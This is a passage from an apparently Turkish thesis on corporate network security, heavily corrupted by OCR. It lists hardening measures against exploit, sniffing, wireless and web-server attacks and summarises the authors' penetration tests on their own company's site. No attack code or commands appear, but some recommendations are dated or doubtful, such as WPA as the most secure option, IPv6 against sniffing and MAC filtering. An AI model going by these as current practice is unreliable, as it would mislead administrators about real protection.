saldirilarina karsi saldir1 yiizeyimizi azaltarak yapacagimiz dnlemlerle birlikte asagidaki

gibi tedbirler alabiliriz.
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Windows xp,Windows 7,Microsoft server 2003 gibi kullanim siireleri giivenlik
giincellemeleri kapali igletim sistemlerini yiikselterek koruma sistemlerini
kuvvetlendirilmelidir.

Kullanmis oldugunuz isletim sisteminin gilivenlik duvarlarini etkinlestirerek
tedbirler arttirilmalidir.

Aginizda kullanilan aktif biitlin bilgisayarlara anti virlis program1 yiiklenmelidir.
Windows isletimi kullanan sistemlerde Windows defender etkinlestirerek siirekli
olarak giincelleme denetimi yapilmalidir.

Exploit saldir1 tespiti i¢in IDS ve IPS aracglar1 kullanilmalidir.

Kurumsal aglar igerisin de BT ekibini exploit saldirilar icin egitimler
aldmalidirlar.

Kurumsal ag igerisinde ¢alisan kullanicilarin Nmap, Nessus, Ethereak, Snort gibi
tarama araclarin erisebilmesine ve ¢alistirmasina izin verilmemelidir.
Operatoriin - herhangi bir bilgisayar icerisinde dosya calistirmasina izin
verilmemelidir..

Bilgisayar operatoriiniin herhangi bir bilgisayara flash disk gibi ¢ikarilabilir
medya araglarinin baglanmasina izin verilmemelidir.

Agmiza disaridan yabanct kullanicilarin direk kablosuz aga baglanmasina izin
verilmemeli, direk aginizdan degil de Vlan {izerinden baglant1 saglanmalidir.
Sisteminizde gordiigliniiz biitlin gereksiz hizmetleri kapatmali ve kullanilmayan
uygulamalar sistemden silinmelidir.

Disaridan baglanti yapmak isteyen bilgisayarlarin agda bulunan bilgisayarlara
iletimi yasaklanmalidir.

Disaridan baglanan yabanci bilgisayarlarin switch iizerinden yonetim agina
baglanmasina izin verilmemelidir.

Onemli noktalardan birisi 135,137,445 sistem agisinda énemli portlar devre dist
birakilmalidir.

Local aglarda sunucu Ping islemi i¢in devre dis1 birakilmalidir.

Bir diger nemli Koruma yontemi igletim sistemine uzak baglanmalara karsi devre
dis1 birakilmalidir.

Bagli olunan ag tlizerinde sizma testleri yapilmalidir.
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e Sisteminizde bulunabilecek giivenlik agiklarini sirali olarak tarama islemi
yapilmalidir.

o IDS ve bilgisayar loglarini diizenli olarak kontrol ve analiz edilmelidir.

Almis oldugumuz tedbirlerle saldir1 ylizeyini belirleyerek saldirilart belirli noktalarini
kapatmaya calisarak giivenlik agiklarini kapatarak saldirt yilizeyini azaltmaya
calisilmastir.

5.6 Dinleme(Sniffing) Saldirilarinda Saldir1 Yiizeyi Belirlenmesi ve Alinmasi
Gereken Tedbirler

Sniffing saldirilar1 tehlikeli ve riskli arasindadir OWASP en ¢ok yapilan saldirilar
arasinda ilk 10 igerisinde bulunmaktadirlar. Birgok kurumsal aglarda sifrelenmemis
protokoller iizerinde bilgi akis1 sniffing saldiristyla dinlenebilmektedir. Iki cesit olan bu
saldiriin aktif ve pasif sniffing yapan saldirgan, saldirilan sistem kullanici tarafindan
farkedilmeyecek ve saldirgan istedigi bilgileri alabilecektir. Saldirilan aglarda saldiri
yilizeyini azaltmak ve saldirilardan en az sekilde zarar gérmesi i¢in asagidaki tedbirler

alinmasi gerekmektedir.

e Agiizerinde paket dinleyicilerine izin verilmemelidir.

e Ag lizerindeki bilgisayara fiziksel olarak baglantisi sinirlandirilarak erisim
engellenmelidir.

¢ Dinleme saldirilarinin tespiti icin IPS ve IDS cihazlar1 kullanilmalidir.

e Dinleme gibi saldirilarin tespiti icin ARP zehirlemesi algilama yazilimi
kullanilmalidir.

e Cisco switchlerinde Arp incelemesi yapilandirilmalidir.

e Kurumsal aglarda bulunan gizli bilgileri korumak i¢in sifreleme kullanilmalidir.

e Uzak masaiistli baglantilar1 yerine IPSEC kullanilmalidir.

e Hittp gibi giivenli olmayan protokoller yerine HTTPS ve SFTP protokollerini
kullanarak sistem giivenli hale getirilmelidir.

e Ag gecidinin Mac adresini cihazlarin ARP oOnbelleginde statik olarak
belirlenmelidir.

e Saldinn yapan kisileri durdurmak, agin statik [P adresi ve ag araclarin ARP

tablolarini kullanilmalidir.
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e Agtanimlama yayinlar1 kapali tutulmalidir.
e |PVv4 protokolleri yerine IPv6 protokolleri kullanilmalidir.
e Diizenli olarak wireshark gibi kurumsal aglardaki paket trafikleri analiz edilerek

saldirilarin ilerlemesi Onlenmelidir.

5.7 Wireless Saldirilarinda Saldir1 Yiizeyi Belirlenmesi ve Alinmasi Gereken
Tedbirler

Kablosuz teknolojinin hiz1 biitiin diinyada artig gdstermesiyle birlikte kurumsal aglarin
kablo kullanimi zor oldugu ve fiyat agisinda maliyetsiz oldugu icin gegis siireci
hizlanmustir. Bu kolayliklara ragmen biiyiik saldiri riski oldugu yerler; halka agik, ticretsiz
kablosuz internet hizmeti veren kamu yerleri, havaalanlari, kafeler saldirganlar igin sahte
erisim noktast saldirilari, kablosuz key kirma ve PSK kirma saldirilar1 kolayca
yapabilecegi saldirilardir. Asagida uygulayacagimiz dnlemler ile 6zellikle kurumsal aglar
tarafindan alinmasi gereken tedbirler ve saldir1 ylizeyinin azaltilarak saldirilara karsi

sistemimizin en az sekilde zarar gormesini saglayacak tedbirleri siralayacagiz.

e WERP sifreleme sistemini kullanilmamali, giivenlik agisindan en giivenli olan
WPA ve WPA2 protokollerini segilmelidir.

e WPA2 Enterprise kullanarak kurumsal aglarda Radius kimlik dogrulama
sunucusuna gec¢is yapilmalidir.

o Sifreler de sirket adi, ag adi bunun gibi tahmin edilebilecek sifrelerin
konulmamalidir.

e  WLAN agimi kurulduktan sonra SSID’y1 degistirilmelidir.

e Erisim noktasi sifresi ayarlanmali, daha sonra gilivenlik duvari aktif hale
getirilmelidir.

e Erisim noktasina Wide Area ag iizerinden girisler devre dis1 birakilmalidir.

e Erisim noktalarina MAC tabanli filtre kullanilarak girisler kontrol altina
alinmalidur.

e  WLAN sifreleri siirekli olarak degistirilmelidir.

e Kablosuz trafigi [Psec gibi yani kriptografik giivenlik sistemleri kullanarak IP
tizerinden baglantilar giivenligi saglanmali ve sifrelenmelidir.

e Bilgisayar her saldir1 tedbirinde oldugu gibi IDS ve IPS kullanarak kablosuz

aga izinsiz baglanan biitiin girisler kapatilmalidir.
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e Yetkisiz erisim noktasim fiziksel baglanti agdan engellenmeli ve devre dist
birakilmalidir.

e Ihtiya¢ duyulmadiginda kablosuz aglar devre dis1 birakilmalidir.

e Erisim noktalart siirekli giincel tutulmali ve son giincel yazilima sahip
oldugundan emin olunmalidir.

e Erisim noktalar giivenli bir yere yerlestirilmelidir.

e Yonlendiricilerinde Wi-fi korumali kurulum WPS secgenegi devre disi
birakilmalidir.

e Bluetooth cihazlan gizli mod da veya devre dis1 birakilmalidir.

5.8 Web sunucu Saldirilarinda Saldir1 Yiizeyi Belirlenmesi ve Alinmas1 Gereken
Tedbirler

Kullanilan web sunucular1 kurumsal web sitelerini intraneti ve verileri yedeklemek i¢in
kullanilmaktadir. Web sunucularin saldirtya ugramasi sirketleri i¢in ciddi sorunlara sebep
olur. Saldir1 yapan kisiler genellikle sunuculardaki yazilim ve donanim iizerine agiklari
tespit ederek saldirmaya caligmaktadir. Bunun gibi saldirilart onlemek ve web
sunucularin1  korumak i¢in saldir1 ylizeyleri belirlenip giivenlik riskleri en aza

indirilmelidir[51].

e Oncelikle sunucuda olan giivenlik aciklart  taranmalidir.  Tarama
gergeklestirildikten sonra yazilim ve donanim diizenli olarak giincellenmelidir.

e DMZ yani savunmasiz bolge olarak denilen network yapisidir. Soyle diyebiliriz
i¢ ice ag olusturarak koruma saglanmalidir. I¢ ag1 tehlikeye sokmadan diger ag
internet tizerinden kullanicilara agarak FTP sunucusu, mail sunucusu gibi servisler
dis diinyaya acilmalidir.

e Web sunucular i¢in 6zel makineler kullanilmalidir.

e IS sunucusunu veya apache hizmetini veri tabanina yiiklenilmemelidir.

e Web sunucusunda yonetici disinda kimsenin kullanici olarak girisine izin
verilmemelidir.

e Guest hesaplari gibi kullanilmayan default kullanicilar devre disg1 birakilmalidir.

e Yapilacak olan Onemli islemler yonetici hesaplart disinda hesaplarla
caligtirllmamalidir.

e Web sunucusuna uzaktan baglanti devre dis1 birakilmalidir.
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Web sunucusuna gelen trafik istekleri kontrol edilmelidir.

Web sunucularinda dosya ve klasorlerin NTFS izni kontrol edilmelidir.

Ozellikle Web sunucu dizinlerinin listelenmesi devre dis1 birakilmalidir.

Web sunucusunda uygulama iizerinden WebDAV kullanilmiyorsa devre disi
birakilmalidir. WebDAV devre disi birakma sebebi ise WebDAV web
sunucularinda verileri, dosya ve belgeleri yonetmeyi saglayan protokoldiir.

Web sunucusu giivenli bir yere koyulmalidir.

Web sunucusunda ISAPI filtreleri kaldiritlmalidir ISAPI gelen tiim istekler Load
balance cihazlarindan geldigi i¢in ISS’lere gonderirilir, ISS loglarindan ip

adreslerinin tespiti yapilabilir.
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6.SONUC

Gliniimiizde kurumsal sirketler ve normal sistem kullanicilar i¢in veri giivenligi en 6nemli
husus olup gilivenlik konusunda tedbirlerin alinmasi gerekmektedir. Sistemlerin yapilarini
bir satrang oyunu gibi diisiinebiliriz. Yapacagimiz hamleler sayesinde, biitiin giivenlik
onlemleri ve saldirt yiizeylerini belirleyerek bunu minimum seviye riskine indirmeyi
saglamaliyiz. Bu hamleler sirket calisanlarinin giivenlik Onlemleri konusunda
bilgilendirilmeleri, kurumsal firmalarin giivenlik politikalari ve prosediirlerin
olusturulmasi, sirketlerin Onemli proje ve belgeleri veri giivenligi igin araclari
kullanmalaridir. Bunun sebebi saldir1 yapacak olan koétii niyetli kisilerin bu aglar

istismar ederek bilgi ¢almak istemesidir.

Bu tezde bir¢ok sizma testi yapilmistir. Yaklagik yirmi saldir1 ve birgok aracin kullanilma
sekilleri gosterilmistir. Boliimlere ayrilarak gergek bir uygulama olarak sirketimizin web
sayfasina saldirilar yapilmistir. Yapmis oldugumuz sizma testlerinin ardindan, saldir
diizenlemis oldugumuz sistemlerdeki agikliklar tespit ederek diizeltilmesi saglanmustir.
Saldirgan platformu i¢in Kali Linux isletim sistemleri ve icerisindeki Ozel araglari
kullanilmistir. Birgok isletim sistemine 6zellikle XP, server 2003, Windows 7,8,10 server
2008 isletim sistemlerine girilmeye calisilmistir. Sizma testlerinin sonuglar1 bazi
girisimlerde olumlu sonuglansa da bazen giivenlik tedbirlerinden dolayr sonuca
vartlamadi. Bilgisayarlarin kullanilmasi, verilerin ifsa edilmesi, aglarin basarili bir
sekilde dinlenilmesi, Windows kullanict bilgilerin elde edilmesi sosyal medya
platformlarinda oltalama ile sifrelerin ¢alinmasi gibi saldirilarla 6nemli bulgular elde
edilerek bu saldirilara gore saldirt yiizeyleri belirlenmistir. Sirketimizin web sayfasina
saldirilarak veri tabani tablolar1 ve verileri teker teker elde edilerek Sql veri tabani

yoneticisi sifreleri elde edilmistir.

Yapmis oldugumuz tezde, kurumsal aglarda sizma testlerinin giivenlik ¢ozlimlerini,
saldir1 yiizeylerinin belirlenerek, bir¢ok agda giivenlik agiklar tespiti igin testler yaptik.
Temel giivenlik eksiklikleri yiiziinden, bir¢ok saldiriya agik oldugu, kurumsal aglarin
bilgi gilivenligi politikasina uyulmadiginda ne gibi problemler yasanacagi, gilivenlik
duvarlar1 ve anti viriislerin giincellenmesi, servislerde karmasik sifre kullanilmasi, yetki
verilen kisilerin siber giivenlige karsi egitilmis olmasi, sifreli iletisim protokolleri gibi

temel olarak alacagimiz tedbirler saldir1 risklerini ortadan kaldirmasa da, saldir1 yiizeyini
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azaltacak risklerin azaltilmasina sebep olacaktir. Saldirinin sadece digaridan degil,
firmanizda calisan kisiler yoluyla da olabilecegi yoneticiler tarafindan kontrol
edilmelidir. Bunlar, hosnutsuz ¢alisanlar tarafindan gerceklesecek fiziksel saldiri
sekilleriyle sisteme erigim olabilecegi gibi, kablosuz ag tizerinden yiiksek riskli bir saldirt
da gergeklestirebilirler. Giivenlik analizlerinden sonra saldir1 yiizeyleri arttig1 takdirde,
giivenlik aciklari ile dogru orantili olarak arttif1 ve sisteme yapilan saldirilarla sisteme
girmenin kolay oldugunu tespit ettik. Saldir1 yiizeylerinin artisini engellemek igin
sistemler ve web uygulamalari, Nessus gibi araclarin kullanilarak giivenlik agiklarini

stirekli olarak tarayarak mevcut giivenlik aciklarinin tespitleri yapilmalidir.

Siber giivenlikte kullanicilarin en az diisiindiigii sey, glivenlik kapsamina almak
istedikleri seyi tanimlama konusudur. Kullanicilarin hepsi saldirilara kars1 giivenlik
onlemi alinmasini istemektedir. Yillardir saldir1 yiizeyini azaltmak igin ¢alisilmakta fakat
teknoloji gelistikce yeni saldir1 yiizeyleri artmas1 problemi ortaya ¢ikmaktadir. Uretilen
her yeni teknoloji ile birlikte yeni problemler ve giivenlik konusunda agikliklar ortaya

¢ikmaktadir.

Sonug olarak yapmis oldugumuz tezde bu ortaya ¢ikan problemleri en aza indirebilmek,
saldir ylizeylerini tespit edebilmek ve azaltabilmek i¢in yapilacaklar asagidaki saldir

tiirleri basliklar1 altinda detayl1 olarak incelenmistir:
DoS ve DDoS Saldirilart

Sifre Kirma Saldirilar

Web Uygulama Saldirilar

Sosyal Miihendislik Saldirilart

Istismar Saldirilar

Dinleme Saldirilar

Kablosuz Ag Saldirilar

Web Sunucu Saldirilar

Yukaridaki maddelerde de belirttigimiz gibi alacagimiz onlemler, saldir1 ylizeylerini

azaltmada ve siber saldirilar1 6nlemede kullanicilara 6nemli faydalar saglayacaktir.
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